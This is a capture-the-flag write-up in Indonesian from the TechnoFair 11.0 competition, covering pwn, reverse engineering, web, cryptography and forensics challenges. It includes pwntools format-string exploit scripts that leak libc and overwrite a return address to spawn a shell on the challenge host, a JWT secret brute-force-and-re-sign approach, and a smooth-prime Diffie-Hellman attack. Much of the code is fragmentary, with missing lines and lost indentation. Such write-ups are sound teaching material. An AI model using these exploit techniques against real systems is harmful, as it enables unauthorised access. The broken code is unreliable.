Professional Documents
Culture Documents
CTF_TECHNOFAIR 11.0_hehe
CTF_TECHNOFAIR 11.0_hehe
TechnoFair11CTF
hehe
k1nomi
gelembo
Daftar Isi
Daftar Isi 2
PWN 3
Gary (304 pts) 3
Hashira (484 pts) 4
Reverse Engineering 7
Snakebyte (100 pts) 7
Web asem bali (100 pts) 8
when i say GO u GO (500 pts, UPSOLVED) 9
Web Exploitation 11
Jay Witan Thom (100 pts) 11
Cryptography 12
Kenangan (100 pts) 12
Xorban (100 pts) 14
Marsha (464 pts) 16
Forensics 22
eftipi (100 pts) 22
kurang berarti (100 pts) 27
Misc 30
Kerangka Berpikir (100 pts) 30
Feedback (1 pts) 30
PWN
Deskripsi
Pada soal ini ada vuln format string. Pada fungsi main terdapat cek
variabel deadbeef. Flag didapat dengan mengubah deadbeef menjadi
deadc0de. Pertama leak stack dengan rbp atau rsp kemudian hitung
offset ke deadbeef untuk %n. Tapi ga work, jadi harus dicari dengan
sedikit coba-coba. Berikut script nya yang dijalankan dengan argv 48.
!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template gary
from pwn import *
from sys import argv
p = start()
p = remote("103.185.53.181", 6001)
p.recvuntil("name? ")
p.sendline("%6$p")
p.recvuntil("Hi, ")
p.recvuntil("deadbeef")
p.recvuntil("name? ")
p.sendline(payload)
p.sendline('exit')
print("TRY:", argv[1])
p.interactive()
Flag: TechnoFair11{Th1s_0nlY_format_str_VUln}
Deskripsi
Pada soal ini ada vuln format string, tapi buffer di heap, ku dah
pernah buat soal yang mirip di hacktoday 2023 (janlup join 2024 bukan
bulan juli), tapi itu lebih gampang karena ada fungsi win, nah ini ga
ada jadi awalnya mau langsung yang gampang aja pake one_gadget tapi g
bisa” jir, constraint bener dsb bener, cuma ga work, terus liat
hintnya rop biasa yaudahlah rop aja.
#!/usr/bin/env python3
from pwn import *
def start():
global libc
if args.REMOTE:
return remote(HOST, PORT)
elif args.GDB:
return gdb.debug([elf.path], c)
else:
return elf.process()
# b* main+712
c = '''
b* main+761
c
'''
p = start()
sl(b'%9$p')
rcu(b'Sorry we don\'t have any information about ')
libc.address = eval(rcl()) - 0x24083
sl(b'%11$p')
rcu(b'Sorry we don\'t have any information about ')
rip = eval(rcl()) - 0xf0
logi('libc.address', libc.address)
# ret = libc.address + 0x1075aa
ret = libc.address + 0x00000000000319c0
fp = ret & 0xffff
sp = (ret >> 16) & 0xffff
sl(f'%{fp}c%39$hn'.encode())
sl(f'%{sp}c%39$hhn'.encode())
logi('rip', rip)
logi('ret', ret)
logi('fp', fp)
logi('sp', sp)
logi('system', libc.sym.system)
logi('fp', fp)
logi('sp', sp)
sl(f'%{fp}c%39$hn'.encode())
sl(b'quit; /bin/sh')
# sl(b'cat flag.txt')
p.interactive()
Flag: TechnoFair11{T4nJ1d0R_1s_Th3_D3m0n_K1n9^_^}
Reverse Engineering
Deskripsi
T = A.from_pretrained('Xenova/gpt-4')
# Tkn = T.tokenize('flag{test}')
# Tid = T.convert_tokens_to_ids(Tkn)
# print(Tid)
# print(Tkn)
# print(T.decode(Tid))
Flag: TechnoFair11{jUsT_4n0tH3r_eZ_pYc_w1tH_4_b1T_0f_lLm!}
# local_1c = 0x0
local_8 = 0x69
local_2 = 0x63
local_6 = 0x46
local_10 = 0x5f
local_9 = 0x72
local_4 = 0x6e
local_a = 0x31
local_0 = 0x54
local_c = 0x7b
local_b = 0x31
local_3 = 0x68
local_d = 0x4c
local_12 = 0x4f
local_7 = 0x61
local_f = 0x68
local_15 = 0x39
local_1 = 0x65
local_19 = 0x7d
local_5 = 0x6f
local_14 = 0x5f
local_13 = 0x6b
local_17 = 0x74
local_11 = 0x6b
local_e = 0x30
local_18 = 0x55
local_16 = 0x49
for i in range(0x1a):
print(chr(eval(f'local_{hex(i)[2:]}')), end='')
Flag : TechnoFair11{L0h_kOk_9ItU}
Intended :
Satu lagi ini hasil diskusi dengan teman wkwk, karena salah copas enc
nya jadi n nya ga prime jadi pas kucoba jalanin diatas gagal, terus
malah jadi ini
import numpy as np
# CONFIG
enc =[ . . . yeah . . .]
key = enc[:25]
# key = [2, 1, 10124]
MOD = enc[25]
# MOD = 1000000007
N = len(key)
R = N + 1
SUM = sum(key) % MOD
print(enc[25])
encc = enc[26:]
# print(tmp)
return result
answer = []
for x in key:
a = np.array([
[x],
[SUM]
], dtype=object)
b = np.array([
[1, 1],
[0, R]
], dtype=object)
bt = mat_pow(b, t)
res = np.dot(bt, a) % MOD
answer.append(res[0, 0])
print(answer)
Iyak matrexpo
Web Exploitation
Deskripsi
Jay Witan Thom mencoba mengakses suatu website akan tetapi mereka
terlihat kesulitan untuk login. Bisakah kamu menolong Jay Witan dan
Thom untuk mengakses web tersebut ?
http://103.185.53.181:1945
Author: zodplugin
Nama soal mengindikasikan bahwa ini soal berkaitan dengan jwt, jadi
entah bagaimana caranya kita ubah role user menjadi admin, setelah
membaca vuln jwt saya hanya terpikirkan untuk brute secret key yang
digunakan untuk sing-in.
Tinggal sign jwt lagi di jwt.io ganti role jadi admin dapat flag
Flag: TechnoFair11{G4c0rrrr_In1_D14_JWT_Brut3_F0rC3_K3y}
Cryptography
Deskripsi
key = os.urandom(1) * 16
iv = os.urandom(16)
Sesuai deskripsi soal, ini adalah gambar yang dienkripsi dengan AES
CBC biasa, dengan key-nya adalah 1 byte random di antara 0-255 yang
diulang sebanyak 16 kali. Untuk mendapatkan 1 byte tersebut, saya
melakukan bruteforcing dengan kode berikut.
for i in range(256):
key = int.to_bytes(i,1,'big') * 16
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)
if b"PNG" in plaintext[:4]:
print("FOUND!!!")
print("key byte:", i)
with open("flag.png", "wb") as f:
f.write(plaintext)
break
Deskripsi
Basic XOR
Author: macaril
import random
from secret import flag
xorban = []
enc = []
for i, v in enumerate(key):
k = 1
for j in range(i, 0, -1):
k ^= key[j]
xorban.append(k)
enc.append(flag[i] ^ v)
xorban=[1, 243, 128, 75, 251, 28, 249, 9, 231, 152, 154, 2, 237, 223, 175, 17, 5,
150, 118, 14, 173, 151, 242, 240, 176, 10, 209, 29, 236, 208, 222, 177, 183, 91,
162, 8, 12, 103, 221, 30, 119, 184]
enc=[105, 151, 16, 163, 222, 136, 163, 145, 135, 13, 51, 169, 148, 6, 30, 199, 97,
249, 137, 22, 252, 105, 81, 107, 36, 229, 175, 164, 192, 79, 81, 6, 117, 179, 186,
198, 48, 24, 201, 170, 10, 178]
Pada soal ini, basicnya adalah xor. Kita hanya perlu memahami hubungan
antara xorban dengan plaintext. Setelah melakukan eksplorasi, saya
menemukan fakta berikut (angka di sini tidak ada hubungannya dengan
soal, karena saya mencoba menjalankan chall.py sendiri).
Untuk elemen kedua dan seterusnya dari xorban, berlaku bahwa key xor
yang digunakan pada index i adalah: xorban[i] ^ xorban [i-1]. Langsung
saja, berikut adalah kode solver yang saya gunakan.
xorban=[1, 243, 128, 75, 251, 28, 249, 9, 231, 152, 154, 2, 237, 223, 175, 17, 5,
150, 118, 14, 173, 151, 242, 240, 176, 10, 209, 29, 236, 208, 222, 177, 183, 91,
162, 8, 12, 103, 221, 30, 119, 184]
enc=[105, 151, 16, 163, 222, 136, 163, 145, 135, 13, 51, 169, 148, 6, 30, 199, 97,
249, 137, 22, 252, 105, 81, 107, 36, 229, 175, 164, 192, 79, 81, 6, 117, 179, 186,
198, 48, 24, 201, 170, 10, 178]
res = ""
for i, c in enumerate(enc):
if i == 0:
continue
k = xorban[i] ^ xorban[i-1]
res += chr(c ^ k)
print(res)
Flag: TechnoFair11{4nyujin_S4id_th1s_is_Cl4ssic}
Deskripsi
Author: AnYujin
nc 103.185.53.181 4254
Kita diberikan sebuah service dan soal.py yang berisikan source code
dari service tersebut.
Berikut adalah soal.py yang sudah saya annotate untuk menjelaskan
alurnya.
charset=string.printable
class dh():
def __init__(self,p,g):
self.p=p
self.g=g
self.privatekey=random.randrange(2,p-1)
self.pubkey=pow(g,self.privatekey,p)
self.BLOCK_SIZE=16
def get_pubkey(self):
return self.pubkey
def bytes_to_bin(self,val):
return "{:08b}".format(bytes_to_long(val))
def mult_mat(self,a,b,m):
assert len(a[0]) == len(b)
return [[sum([int(a[k][i]) * int(b[i][j]) for i in range(len(b))]) % m for j
in range(len(a))] for k in range(len(a))]
def add_mat(self,a,b,m):
assert len(a[0]) == len(b[0]) and len(a) == len(b)
return [[(int(a[i][j]) + int(b[i][j])) % m for j in range(len(a[0]))] for i
in range(len(a))]
def hex_to_bytes(self,msg):
return long_to_bytes(int(msg,16))
def bits_to_matrix(self,val):
temp=[list(val[i:i+16]) for i in range(0, 256, 16)]
return temp
def matrix_to_bits(self,val):
return ''.join(str(i) for j in val for i in j)
def bytes_to_hex(self,msg):
return "{0:x}".format(bytes_to_long(msg))
def generate_secret(self,pub):
self.sharedsecret=pow(pub,self.privatekey,self.p)
temp=("{0:b}".format(self.sharedsecret)).rjust(768,'0')
self.A,self.B,self.C=[temp[i:i+256] for i in range(0,768,256)]
self.A=self.bits_to_matrix(self.A)
self.B=self.bits_to_matrix(self.B)
self.C=self.bits_to_matrix(self.C)
def encrypt(self,msg):
msg=pad(msg,self.BLOCK_SIZE)
iv=os.urandom(self.BLOCK_SIZE)
cipher=AES.new(hashlib.sha256(long_to_bytes(self.sharedsecret)).digest(),AES.MODE_CB
C,iv=iv)
ct=cipher.encrypt(msg)
return self.bytes_to_hex(ct),self.bytes_to_hex(iv)
def decrypt(self,enc,iv,sig):
cipher=AES.new(hashlib.sha256(long_to_bytes(self.sharedsecret)).digest(),AES.MODE_CB
C,iv=self.hex_to_bytes(iv))
try:
pt=unpad(cipher.decrypt(self.hex_to_bytes(enc)),self.BLOCK_SIZE)
verif=(self.hash(pt)==sig)
return verif,pt.decode()
except:
return False,''
def hash(self,msg):
len_msg=len(msg)
msg=self.bytes_to_bin(msg)
if(msg[0]=='0'):
val=self.mult_mat(self.A,self.C,2)
else:
val=self.mult_mat(self.B,self.C,2)
msg=msg[1:]
for i in msg:
if int(i)==0:
val=self.mult_mat(self.mult_mat(val,self.A,2),self.C,2)
else:
val=self.mult_mat(self.mult_mat(val,self.B,2),self.C,2)
val=self.add_mat(val,self.C,2)
sig=self.matrix_to_bits(val)
return "{:x}".format(int(sig))
def kirim(self,msg):
sig=self.hash(msg)
enc,iv=self.encrypt(msg)
return enc,iv,sig
if __name__=='__main__':
p=getPrime(768)
g=8
print('Yujin sending modulo and base')
print(f'Modulo : {p}')
print(f'g : {g}')
print('Able to change modulo')
try:
inp=input("> ")
temp=len("{:08b}".format(int(p)))
if(temp>=512 and temp<=768):
pass
else:
print('Invalid value sending as it is')
p=int(inp)
except:
pass
# if you just forward Marsha's message, Yujin will not give flag
else:
enc,iv,sig=A.kirim(b"Aku baik, bentar ya aku tidur dulu...")
print(f"Successfully intercepted Yujin's message")
print(f'enc : {enc}')
print(f'iv : {iv}')
print(f'signature : {sig}')
print(f"Yujin left the chat...")
Jadi sudah cukup jelas bahwa tujuan kita adalah mengetahui shared
secret mereka berdua supaya bisa mengganti pesan Marsha dengan pesan
lain yang bisa didekripsi oleh Yujin.
r = remote('103.185.53.181', 4254)
# get g
r.recvuntil(b'g : ')
g = int(r.readline()[:-1]) # g = 8
# generate smooth p
p = 2
k = 3
while (p < 2**512) or not isPrime(2*int(p) + 1):
p *= k
k = next_prime(k)
p = 2*p + 1
# send smooth p
r.recvuntil(b'> ')
r.sendline(str(p).encode())
# get A (Yujin's PK) and B (Marsha's PK) from service
r.recvuntil(b"Marsha's public key : ")
A = int(r.recvline()[:-1])
r.recvuntil(b"Yujin's public key : ")
B = int(r.recvline()[:-1])
Flag: TechnoFair11{4Ku_4d4lAH_R4J4_M3ks1Ko_El_M4r5hal3}
Forensics
Author : millkywaay
Judul soal ini merujuk pada salah satu protokol yaitu FTP atau File
Transfer Protocol. Oleh karena itu, saya langsung memfilter
paket-paket yang memiliki protokol FTP.
Berdasarkan petunjuk dari artikel ini, cara menyimpan file FTP dari
wireshark adalah dengan follow stream, ubah ke raw, lalu “save as”.
File pertama merupakan file text yang berisikan wordlist ini, namun
dengan kelebihan satu kata. Kata tersebut saya temukan dengan
membandingkan wordlist asli dengan secret.txt.lst menggunakan kode
dibawah. Satu kata lebih tersebut adalah “hilirasi”.
file1 = open("secret.txt.lst","r").readlines()
file2 = open("geovedi.txt","r").readlines()
Sayang sekali, kita tidak bisa melakukan unzip pada file ini.
Di sini ada “DNEI” yang mungkin saja berasal dari “IEND”, header chunk
yang ada di akhir file PNG. Oleh karena itu, dapat diasumsikan bahwa
file ini merupukan file PNG yang memiliki urutan bytes terbalik.
Berikut adalah kode yang saya gunakan untuk membalik bytes dari file
ini.
file_bytes = file_bytes[::-1]
Flag: TechnoFair11{B3_c4R3FuLL_w1tH_sN1ff3r}
kurang berarti (100 pts)
Deskripsi
Author: H4NN
# read file
with open(input_file, 'rb') as file:
file_bytes = bytearray(file.read())
plaintext_index = 0
plaintext_length = len(plaintext_binary)
print(f"{output_file}")
input_file = ''
output_file = 'chall.jpg'
plaintext = "flag"
offset = 0x00000D00
insert_plaintext_into_image(input_file, output_file, plaintext, offset)
result_bin = ""
print("skjhagd")
# start from an offset
for i in range(offset, len(file_bytes)):
if i == 800:
break
if (file_bytes[i] % 2) == 0:
result_bin += '0'
else:
result_bin += '1'
print(result_bin)
Misc
Deskripsi
Feedback (1 pts)
Deskripsi
https://forms.gle/oVg35Hhb3jy66VEy5
feedback.
Flag: TechnoFair11{See_YouIn_Depok}